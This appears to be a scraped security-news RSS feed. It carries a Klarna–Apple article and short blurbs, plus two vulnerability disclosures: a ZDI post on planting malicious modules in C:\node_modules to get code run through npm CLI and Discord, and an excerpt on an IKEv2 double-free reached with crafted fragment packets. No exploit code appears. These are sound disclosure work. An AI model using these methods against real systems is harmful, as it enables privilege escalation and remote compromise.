<li><a href="https://www.computerworld.com/article/1647230/powerpoint-for-microsoft-365-cheat-sheet.html">PowerPoint for Microsoft 365 cheat sheet</a></li>



<li><a href="https://www.computerworld.com/article/4171293/copilot-chat-your-hub-for-document-creation-and-analysis.html">Copilot Chat: Your hub for document creation and analysis</a></li>



<li><a href="https://www.computerworld.com/article/4067372/how-to-curb-hallucinations-in-copilot-and-other-genai-tools.html">How to curb hallucinations in Copilot (and other genAI tools)</a></li>



<li><a href="https://www.computerworld.com/article/3479705/how-to-use-microsoft-copilot-for-writing-in-microsoft-365-word-outlook-onenote.html">Microsoft Copilot can boost your writing in Word, Outlook, and OneNote — here’s how</a></li>



<li><a href="https://www.computerworld.com/article/1682358/microsoft-cheat-sheets-dive-into-windows-and-office-apps.html">More Microsoft tips and tutorials</a></li>
</ul>



<p class="wp-block-paragraph"></p>
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<title><![CDATA[Own nothing, upgrade everything: Apple’s new Klarna deal]]></title>
<description><![CDATA[Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to launch its new deal with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread a...]]></description>
<link>https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694772/ai-nachrichten/own-nothing-upgrade-everything-apples-new-klarna-deal/</guid>
<pubDate>Sat, 25 Jul 2026 19:50:09 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div><div class="grid grid--cols-10@md grid--cols-8@lg article-column">
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Just in time for the iPhone’s 20th anniversary, Apple is moving closer to becoming a service company. It is set to <a href="https://www.reuters.com/business/apple-launch-upgrade-device-leasing-program-spur-sales-bloomberg-news-reports-2026-07-21/" target="_blank" rel="noreferrer noopener">launch its new deal</a> with Klarna next week and when it does, Apple enthusiasts in the US will effectively be able to subscribe to their favorite Apple hardware, with the cost spread across up to three years.</p>



<p class="wp-block-paragraph">This matters because when combined with Apple One and Apple’s Creator Studio subscriptions, the Klarna arrangement brings Apple closer to offering a full subscription model for hardware, software, and services. The only thing you don’t get under the new arrangement is AppleCare, for which you’ll allegedly need to pay extra.</p>



<h2 class="wp-block-heading"><strong>Moving closer to hardware-as-a-service</strong></h2>



<p class="wp-block-paragraph">Apple has slowly been <a href="https://www.applemust.com/opinion-how-you-will-access-apple-products-in-future/#google_vignette" target="_blank" rel="noreferrer noopener">transitioning toward</a> hardware-as-a-service for almost a decade. Back then, Forrester analyst <a href="https://www.applemust.com/apple-klarna-mean-we-can-now-get-apple-as-a-service/" target="_blank" rel="noreferrer noopener">Frank Gillet predicted</a> the company would eventually offer bundles of services and products for a monthly, all-in, fee. </p>



<p class="wp-block-paragraph">This isn’t quite where we are yet; you still need at least three subscriptions to get close. But, after the better part of a decade, Apple has moved much nearer to the hardware-as-a-service idea.</p>



<p class="wp-block-paragraph">There are some products reportedly excluded from the arrangement, including MacBook Neo, Apple Watch SE, the entry-level iPad, and iPhone 16. Clearly, Apple sees those products as sufficiently affordable. </p>



<h2 class="wp-block-heading"><strong>Easy payments for RAM-ageddon</strong></h2>



<p class="wp-block-paragraph">The new Klarna arrangement comes as Apple is forced to increase product prices as AI-driven memory price inflation becomes widely felt across every economy. In theory, I assume, Apple hopes to make its products available to cash-strapped consumers who need new hardware, while also navigating a time of deep economic tumult and uncertainty. It’s thought the company has <a href="https://www.bloomberg.com/news/newsletters/2025-04-06/will-apple-raise-iphone-prices-in-the-us-after-trump-tariffs-iphone-17-details" target="_blank" rel="noreferrer noopener">previously rejected these plans</a> to protect normal hardware sales, but normality is a kingdom we no longer seem to possess. Interesting times. Probable inflation incoming.</p>



<p class="wp-block-paragraph">“Apple Upgrade lands at precisely the moment Apple needs it,” IDC analyst Francisco Jeronimo wrote in a note seen by <em>Computerworld</em>. “Having just pushed Mac and iPad prices up on the back of the memory shortage, with iPhone increases widely expected in September — as well as the new iPhone foldable expected at $2,500 — Apple’s real risk is that rising prices even further can impact the upgrade cycle.” </p>



<h2 class="wp-block-heading"><strong>New age, new shopping habits</strong></h2>



<p class="wp-block-paragraph">The introduction of the scheme gives consumers a way to purchase the company’s popular high-end devices when they are introduced — no doubt,at higher cost — this fall. Plus, of course, if it’s <a href="https://www.businessinsider.com/general-motors-gm-earnings-subscriptions-revenue-business-2026-1" target="_blank" rel="noreferrer noopener">good enough for GM</a>, it’s good enough for Apple.</p>



<p class="wp-block-paragraph">It’s all about attitude, too. From Apple’s perspective, it <a href="https://www.computerworld.com/article/4125784/are-you-ready-for-apple-as-a-service.html">has done plenty of the groundwork</a> required to <a href="https://www.applemust.com/apple-vp-eddy-cue-shares-15-important-apple-services-stats/" target="_blank" rel="noreferrer noopener">convince its customers</a> that subscription payments for things you value are no bad thing. </p>



<p class="wp-block-paragraph">Reluctance to embrace “Access Not Ownership’”purchasing models has dropped dramatically since Apple — and <a href="https://www.computerworld.com/article/1665439/apples-tim-cook-has-kept-his-50b-services-promises.html">CEO Tim Cook</a> — first began <a href="https://www.applemust.com/apples-50b-services-target-just-isnt-ambitious-enough/">banging the drum</a> for services income. Apple’s services stream has now become its second-biggest revenue driver after the iPhone. It has over 1 billion paid subscriptions, and an active hardware installed base of <a href="https://www.computerworld.com/article/4168225/wwdc-2026-how-apple-can-take-a-great-leap-in-ai.html">more than 2.5 billion devices globally</a>.</p>



<p class="wp-block-paragraph">A combination of changed customer habits and external threat means the stars are now aligned for hardware-as-a-service models. “Reframing a device as a low monthly payment protects that [upgrade] cadence and allows Apple to start marketing their products as device-as-a-service to consumers, which no other vendor was ever able to do,” Jeronimo wrote to me. </p>



<p class="wp-block-paragraph">There is a one-more-thing aspect to this: the products are effectively being leased, a new approach that will give Apple a stronger grip on EOL devices, helping it grab more of them for refurbishment, resale, and recycling. Over time, this will give the company a much stronger grip on the lucrative second-user market that exists around Apple equipment, even while for almost every consumer product we find the life we want is something we can rent, but <a href="https://medium.com/from-heart-to-hand/the-subscription-society-what-happens-when-you-own-nothing-ef32d5bc32d2" target="_blank" rel="noreferrer noopener">probably can’t afford to own</a>.</p>



<h2 class="wp-block-heading"><strong>Managing future risk</strong></h2>



<p class="wp-block-paragraph">The other solid reason to take a partnership approach is risk management. Apple had intended to develop its own buy-now, pay-later scheme via Apple Pay Later, but <a href="https://www.bbc.co.uk/news/articles/c255y82y9x8o" target="_blank" rel="noreferrer noopener">abandoned that plan</a> as it became riskier with rising bank rates. “Also, by backing the program with Klarna rather than reviving the in-house subscription plan it shelved in 2024, Apple captures the demand upside without taking the credit risk onto its own balance sheet,” Jeronimo said.</p>



<p class="wp-block-paragraph"><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and subscribe to <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg" target="_blank" rel="noreferrer noopener">The Core</a>.</em></p>
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<title><![CDATA[China-US AI Race Escalates, OpenAI Models Break Free, and Why You Should Check Your Car Alarm]]></title>
<description><![CDATA[On this episode of Uncanny Valley, we dive into accusations that China’s Moonshot AI stole from  Anthropic, and how the US Army needs to cut back on AI use.]]></description>
<link>https://tsecurity.de/de/3694753/ai-nachrichten/china-us-ai-race-escalates-openai-models-break-free-and-why-you-should-check-your-car-alarm/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694753/ai-nachrichten/china-us-ai-race-escalates-openai-models-break-free-and-why-you-should-check-your-car-alarm/</guid>
<pubDate>Sat, 25 Jul 2026 19:49:56 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[On this episode of Uncanny Valley, we dive into accusations that China’s Moonshot AI stole from  Anthropic, and how the US Army needs to cut back on AI use.]]></content:encoded>
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<title><![CDATA[BTMOB: A stealthy RAT burrowing deep into Android devices]]></title>
<description><![CDATA[The malware pairs remote access capabilities with ready-made campaign tools, lowering the barrier for full device compromise]]></description>
<link>https://tsecurity.de/de/3694648/malware-trojaner-viren/btmob-a-stealthy-rat-burrowing-deep-into-android-devices/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694648/malware-trojaner-viren/btmob-a-stealthy-rat-burrowing-deep-into-android-devices/</guid>
<pubDate>Sat, 25 Jul 2026 19:04:34 +0200</pubDate>
<category>⚠️ Malware / Trojaner / Viren</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[The malware pairs remote access capabilities with ready-made campaign tools, lowering the barrier for full device compromise]]></content:encoded>
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<title><![CDATA[Node.js Trust Falls: Dangerous Module Resolution on Windows]]></title>
<description><![CDATA[In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting npm CLI that revealed a fundamental design issue in Node.js. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the...]]></description>
<link>https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694571/hacking/nodejs-trust-falls-dangerous-module-resolution-on-windows/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:58 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">In September of 2024, ZDI received a vulnerability submission from an anonymous researcher affecting <a href="https://docs.npmjs.com/cli/v11">npm CLI</a> that revealed a fundamental design issue in <a href="https://nodejs.org/en">Node.js</a>. This blog details how it continues to expose applications to local privilege escalation (LPE) attacks on Windows systems, including the Discord desktop app (CVE-2026-0776 0-Day), which remains unpatched and vulnerable.</p>





















  
  



<p>The issue is straightforward: when Node.js resolves modules, the runtime searches for packages in <code>C:\node_modules</code> as part of its default behavior. Since low-privileged Windows users can create this directory and plant malicious modules there, any Node.js application with missing or optional dependencies becomes vulnerable to privilege escalation.</p>




  <p class="">This issue is not new. Concerned discussions about Node.js's module search path behavior date back to <a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ">2013</a> and <a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">2014</a>.</p><p class="">Node.js has explicitly <a href="https://github.com/nodejs/node/security/policy#uncontrolled-search-path-element-cwe-427">stated</a> that they consider this behavior intentional: </p><p class="">"Node.js trusts the file system." </p><p class="">They do not treat CWE-427 (Uncontrolled Search Path Element) as a vulnerability, pushing responsibility onto application developers. </p>





















  
  














































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png" data-image-dimensions="866x438" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w" width="866" height="438" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/80c1a21b-6d10-4c27-8a9b-e05a32ee4c0b/nodejs-non-vulnerability-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 1: The vendor’s security policy stance on CWE-427 as a non-issue</em></p>
          </figcaption>
        
      
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  <p class="">As the case studies below demonstrate, this stance has dangerous consequences. Developers are largely unaware of this attack surface, and the result is a proliferation of exploitable applications. We will show examples in npm CLI and Discord, but there are likely many more applications that are impacted by this.</p><p class=""><strong>Root Cause</strong></p><p class="">The root cause lies in the way Node.js performs module resolution. This is documented <a href="https://nodejs.org/api/modules.html#loading-from-node-modules-folders">here.</a> Although UNIX paths are used in the documentation provided by Node.js, the same logic is applied on Windows.</p>





















  
  



<p>When a Node.js application calls require(‘bar’), the runtime searches for the module in the following order:  </p>
<ol>
<li>   C:\Users\Administrator\projects\node_modules\bar.js</li>
<li>   C:\Users\Administrator\node_modules\bar.js</li>
<li>   C:\Users\node_modules\bar.js</li>
<li>   C:\node_modules\bar.js              &lt;-- The problem</li>
</ol>
<p>If the legitimate package is missing, whether due to optional dependencies, development packages removed in production, or installation failures, the resolution search will eventually reach the root of the drive. Any user can create <code>C:\node_modules</code> and place a malicious package there. Once the low-privileged user has populated <code>C:\node_modules\bar.js</code>, Node.js will load and execute it in the context of the current user. In the following case studies, we will provide evidence of how, despite properly following NPM’s <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">guidelines</a>, third-party dependencies end up triggering this vulnerability anytime you launch the application.   </p>
<p><b data-preserve-html-node="true">Case Studies: Real-World Manifestations</b>  </p>
<p>The Optional Dependency Pattern:
npm supports optional dependencies to be specified in the project’s package.json file. The <a href="https://docs.npmjs.com/cli/v11/configuring-npm/package-json#optionaldependencies">recommended pattern</a> for checking for these dependencies is as follows:</p>












































  

    
  
    

      

      
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                <img data-stretch="false" data-image="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png" data-image-dimensions="1051x756" data-image-focal-point="0.5,0.5" alt="" data-load="false" elementtiming="system-image-block" data-sqsp-image-classic-block-image src="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w" width="1051" height="756" sizes="(max-width: 640px) 100vw, (max-width: 767px) 100vw, 100vw" onload='this.classList.add("loaded")' srcset="https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=100w 100w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=300w 300w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=500w 500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=750w 750w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1000w 1000w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=1500w 1500w, https://images.squarespace-cdn.com/content/v1/5894c269e4fcb5e65a1ed623/4d1a598e-31cd-4ced-9047-0e80c6549174/npm-optional-dependency-docs.png?format=2500w 2500w" loading="lazy" decoding="async" data-loader="sqs">

            
          
        
            
          
        

        
          
          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 2: npm Docs showing optionalDependencies example code      </em></p>
          </figcaption>
        
      
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<p>This pattern silently catches errors when optional packages are missing, allowing execution to continue. So what’s the problem? On Windows, Node.js will search all the way up to <code>C:\node_modules</code> where an attacker may have planted a malicious replacement. This search behavior mirrors UNIX conventions where <code>/node_modules</code> at the filesystem root is typically only writable by root. Windows systems by default allow any user to create <code>C:\node_modules</code>. Once <code>require</code> is called, Node.js will traverse the search path and execute any matching module it finds.  </p>
<p>Important things to note:  </p>
<ol>
<li>   This pattern can be found in third party libraries deep in a dependency tree, as we will see in the following examples.  </li>
<li>   There is no runtime indication to either the developers or the end users that such a vulnerability exists without looking at the filesystem logs with Procmon.  </li>
<li>   The optional dependency pattern itself would not be dangerous if Node.js did not search for packages in <code>C:\node_modules</code>.</li>
</ol>
<p>Let’s take a deeper look at both cases and see why this is so dangerous.  </p>
<p><b data-preserve-html-node="true">Case 1: npm CLI (ZDI-26-043 / ZDI-CAN-25430 / CVE-2026-0775)</b>. </p>
<p>Prior to version 11.2.0, npm CLI used a library called “promise-inflight”, which contained an optional dependency on a package called “bluebird”. </p>












































  

    
  
    

      

      
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          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 3: npm CLI repo </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>snippet</em></a><em> </em><a href="https://github.com/npm/cli/blob/977fd5784f875fdc2e3436ed15c444ddca63e3d7/node_modules/promise-inflight/inflight.js#L6"><em>showing</em></a><em> require call for missing bluebird package dependency</em></p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>When Node.js is installed on the system, npm is included by default without the <code>bluebird</code> package.  This vulnerability was introduced when bluebird was removed through a well-intentioned pull request (<a href="https://github.com/npm/cli/pull/1438/changes">https://github.com/npm/cli/pull/1438/changes</a>), demonstrating how easy it is for developers to unknowingly create this attack surface.</p>
<p>We can see Node’s package resolution logic at work in the screenshot below:</p>












































  

    
  
    

      

      
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          <figcaption data-sqsp-image-classic-block-caption-container class="image-caption-wrapper">
            <p data-rte-preserve-empty="true"><em>Figure 4: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0775</em></p>
          </figcaption>
        
      
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<p>First, the application looks for the <code>bluebird.js</code> package in the Node.js installation directory. Node.js sequentially searches back to the system root until it finds the package. If an attacker has placed <code>C:\node_modules\bluebird.js</code>, the <code>require</code> call will find, read, and execute the malicious payload in the context of any user running npm on the system. </p>
<p>This vulnerability is especially dangerous because it is triggered when many <code>npm *</code> cli commands are used. Common development commands such as <code>npm install</code>, <code>npm –l</code>, and <code>npm prune</code> will all execute the malicious <code>bluebird.js</code>package.</p>
<p><b data-preserve-html-node="true">Case 2: Discord (ZDI-26-040/ ZDI-CAN-27057 / CVE-2026-0776/ UNPATCHED)</b></p>
<p>On April 22, 2025, ZDI received a report for a similar vulnerability in Discord reported by T. Doğa Gelişli. Discord uses the ws WebSocket library, which contains an optional dependency on utf-8-validate for compatibility with older Node.js versions:</p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true">Figure 5: websockets library repo snippet showing require call for missing utf-8-validate package dependency</p>
          </figcaption>
        
      
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<p>Discord does not ship with the utf-8-validate package. As a result, the following Procmon logs show the same behavior as Case 1. Anytime Discord is launched, the attacker controlled <code>C:\node_modules\utf-8-validate.js</code> is executed.</p>












































  

    
  
    

      

      
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            <p data-rte-preserve-empty="true">Figure 6: Procmon log showing the package resolution behavior of Node.js via CVE-2026-0776</p>
          </figcaption>
        
      
        </figure>
      

    
  


  


<p>The ws library does support disabling this check via the <code>WS_NO_UTF_8_VALIDATE</code> environment variable, but this requires the consuming application (Discord) to set it explicitly. Here’s a quick video demonstrating the bug by popping the calc app when opening Discord:</p>


  














  
    
      
    
    
      
        
          
          
        
      
      
      



    
  








  <p class="">Discord automatically opens on login by default, so in practice code execution happens immediately without any user interaction. Strangely, the Discord Security team made it clear to us in their responses that they do not consider local attack vectors as valid security issues. </p><p class=""><strong>The Bigger Picture</strong></p><p class="">The cases above represent only a few of the applications affected by this pattern. During our investigation we found many other independent reports.  These issues in <a href="https://jira.mongodb.org/browse/COMPASS-9058">Mongo DB Compass</a> and <a href="https://jira.mongodb.org/browse/MONGOSH-2028">Mongo DB Shell</a> are just two other examples.</p><p class="">Every Windows application built on Node.js with missing or optional dependencies is potentially vulnerable. This includes desktop applications that utilize Electron as well as popular web frameworks such as Next.js and React.</p><p class="">Each vendor has clearly stated that they will not treat these issues as vulnerabilities: </p><p class="">NPM’s response to our report: </p><p class=""><em>“exploits that require local access to a machine are considered ineligible for npm CLI</em></p><p class="">Discord’s response to our report:</p><p class=""><em>“We do not consider physical/local attacks as valid security issues”</em></p><p class="">Node.js, in the “Examples of non-vulnerabilities” section of their <a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">Security Policy</a>: </p><p class=""><em>“Node.js trusts the file system in the environment accessible to it. Therefore, it is not a vulnerability if it accesses/loads files from any path that is accessible to it.” </em></p><p class=""><strong>Conclusion</strong></p>





















  
  



<p>The vulnerability pattern described in this blog stems from a deliberate design decision by Node.js maintainers. While Node.js's position that “applications should trust their filesystem” may hold true on properly administered UNIX systems, it creates a systemic vulnerability on Windows where low-privileged users can write to <code>C:\node_modules</code>. Without a fix from Node.js, the burden silently falls on application developers.   </p>
<p>Making matters worse, the vulnerable code may not live in the application code itself. The optional dependencies that trigger this behavior could come from third-party libraries buried in the dependency tree as we saw with both Discord and npm CLI. </p>




  <p class="">We encourage security researchers to further review this issue and investigate other applications for this dangerous behavior. You can find us online at <a href="https://x.com/bobbygould5">@bobbygould5</a> and <a href="https://x.com/izobashi">@izobashi</a>, and follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p><p class=""> </p><p class="">DISCLOSURE TIMELINES</p><p class=""> </p><p class="">NPM CLI: </p><p class="">2024-11-13 – ZDI submitted the report to the vendor</p><p class="">2024-11-13 – The vendor acknowledged the receipt of the report</p><p class="">2024-11-13 – The vendor communicated that the reported behavior was by design and they do not consider local attacks as valid security issues</p><p class="">2025-08-05 – ZDI encouraged the vendor to re-assess the issue</p><p class="">2025-12-18 – ZDI notified the vendor of the intention to publish the case as a 0-day advisory</p><p class=""> </p><p class="">DISCORD: </p><p class="">2025-07-08 – ZDI notified vendor </p><p class="">2025-09-11 – ZDI followed up with vendor </p><p class="">2025-09-15 – Vendor stated they do not consider local attacks as valid security issues </p><p class="">2025-12-01 – ZDI explained why we believe the issue is still valid </p><p class="">2025-12-10 – Vendor replied that the vulnerability is still out of scope  </p><p class="">2025-12-11 – ZDI informed vendor of intent to publish 0-day  </p><p class="">  </p><p class="">REFERENCES</p><p class=""><a href="https://nodejs.org/api/modules.html#loading-from-node_modules-folders">https://nodejs.org/api/modules.html#loading-from-node_modules-folders</a></p><p class=""><a href="https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies">https://docs.npmjs.com/cli/v10/configuring-npm/package-json#optionaldependencies</a></p><p class=""><a href="https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1">https://groups.google.com/g/nodejs/c/5BGr5dliUIk/m/abJEH3sPymcJ?pli=1</a></p><p class=""><a href="https://github.com/nodejs/node-v0.x-archive/issues/8830">https://github.com/nodejs/node-v0.x-archive/issues/8830</a></p><p class=""><a href="https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require">https://bounty.github.com/ineligible.html#vulnerability_in_upstream_dependencies:~:text=eligible%20for%20rewards.-,Local%20access,-Vulnerabilities%20which%20require</a></p><p class=""><a href="https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities">https://github.com/nodejs/node/security/policy#examples-of-non-vulnerabilities</a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-33824: Remote Code Execution in Windows IKEv2]]></title>
<description><![CDATA[In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by WARP & MORSE team at Micros...]]></description>
<link>https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694570/hacking/cve-2026-33824-remote-code-execution-in-windows-ikev2/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:57 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class=""><em>In this excerpt of a TrendAI Research Services vulnerability report, Richard Chen and Lucas Miller of the TrendAI Research team detail a recently patched double free vulnerability in the Windows Internet Key Exchange (IKE) service. This bug was originally discovered by</em> <em>WARP &amp; MORSE team at Microsoft. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution. The following is a portion of their write-up covering CVE-2026-33824, with a few minimal modifications.</em></p>





















  
  




  



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  <p class="">A double free vulnerability has been reported in the Windows Internet Key Exchange (IKEv2) service. The vulnerability is due to an error when processing fragments.</p><p class="">An unauthenticated, remote attacker could exploit this vulnerability by sending crafted packets to the target server. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution.</p><p class=""><strong>The Vulnerability</strong></p><p class="">Microsoft Windows is an operating system which includes both server and desktop components along with an easy-to-use GUI. All currently supported versions of Windows include Internet Key Exchange Protocol Extensions to support the Virtual Private Network (VPN) feature.</p><p class="">The VPN feature of Windows encrypts communication between hosts. ISAKMP is a negotiation protocol used by IPsec-enabled hosts to build a security association. It uses the <a href="https://datatracker.ietf.org/doc/html/rfc7296">Internet Key Exchange (IKE) Protocol</a> in order to negotiate keys for encrypted communication. IKE has two versions: IKEv1 and IKEv2. IKE version 1 (IKEv1) and version 2 (IKEv2) messages have the following general format:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The type of <em>payload</em> is determined by the <em>Next Payload</em> header of the previous <em>payload</em>, or the <em>Next Payload</em> field in the header (in the case of the first payload).</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">IKEv2 supports message fragmentation as defined in <a href="https://datatracker.ietf.org/doc/html/rfc7383">RFC 7383</a>. When IKEv2 messages exceed the path MTU, they may be split into multiple Encrypted Fragment payloads. Of interest to this report is the Encrypted Fragment (SKF) payload (type 0x35). The SKF payload format is defined as:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>When an IKEv2 implementation receives fragments, it inserts each fragment into an ordered list and reassembles them once all fragments have been received. In the Windows implementation, the function <code>IkeReinjectReassembledPacket()</code> performs this reassembly.</p>
<p>A double-free vulnerability has been reported in the Windows IKE Extension library (ikeext.dll). The vulnerability is due to improper ownership handling of a heap-allocated blob pointer during IKEv2 fragment reassembly. During the IKE_SA_INIT exchange, a Security Realm Vendor ID payload causes <code>IkeHandleSecurityRealmVendorId()</code> to allocate a blob and store it in the MMSA (Main Mode Security Association) structure at offset 0x208. When a fragmented IKE_AUTH message is fully reassembled, <code>IkeReinjectReassembledPacket</code> copies MMSA fields at offsets 0x178 through 0x21F - including the blob pointer at 0x208 - into a local stack struct. This struct is then passed to <code>IkeQueueRecvRequest</code>, which shallow-copies it into a heap-allocated work item. While <code>IkeQueueRecvRequest</code> deep-copies the reassembly buffer at offset 0x10 in the struct, the Security Realm blob pointer at offset 0xC8 remains a shallow copy, aliasing the original at MMSA+0x208.</p>
<p>When the thread pool processes the queued work item, <code>IkeDestroyPacketContext</code> checks the blob pointer at offset 0xC8 and calls <code>WfpMemFree</code> to release it (first free). The MMSA structure still holds the original pointer to the same allocation at offset 0x208. When the MMSA is subsequently cleaned up through <code>IkeCleanupMMNegotiation</code>, the SA reference count is decremented via <code>IkeDerefMMSA</code>, eventually triggering <code>IkeFreeMMSA</code>, which frees the blob pointer at MMSA offset 0x208 - the same allocation already freed by <code>IkeDestroyPacketContext</code> (second free).</p>
<p>A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted IKE_SA_INIT message followed by two or more Encrypted Fragment (SKF) payloads containing an invalid IKE_AUTH message to the target server. The fragment reassembly path will shallow-copy the blob pointers, and the subsequent MMSA cleanup will trigger the double free. Successful exploitation could result in arbitrary code execution under the security context of the IKEEXT service (SYSTEM).</p>
<p><b data-preserve-html-node="true">Source Code Walkthrough</b></p>
<p>The following code snippets were taken from IKEEXT.DLL file version 10.0.20348.2849 and decompiled with IDA Pro version 8.3. Comments added by TrendAI have been highlighted.</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



